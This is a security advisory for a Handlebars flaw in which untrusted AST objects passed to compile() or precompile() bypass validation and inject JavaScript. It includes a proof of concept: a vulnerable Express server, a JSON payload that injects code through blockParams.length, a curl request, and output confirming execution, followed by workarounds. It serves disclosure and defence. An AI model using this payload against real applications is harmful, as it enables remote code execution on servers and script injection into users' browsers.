Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

1. the blockParams object has no type, so none of the type-specific checks apply, and
2. the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

1. Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

2. Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

3. Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

• compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
• precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

• Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.

  if (typeof templateInput !== 'string') {
    throw new TypeError('Template must be a string');
  }
  

• Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant Program.blockParams

• Nick Mykhailyshyn - @whoareme
• jmoritzc53
• bhaswanthc
• dinhvaren
• n0tra4e
• PellaML
• kustundag
• kagebunsher
• sanmatte

Variant BooleanLiteral|NumberLiteral.value

• sondt99 Thai Son Dinh from VinSOC Labs (R&D)
• Ahmed-Elmahgob
• nikolakojic-rasit
• vk-can
• shenhuanageshei
• kustundag
• kagebunsher
• ffasterss

Variant PathExpression.depth

• hibrian827 Team Atlanta
• oss-security-shopify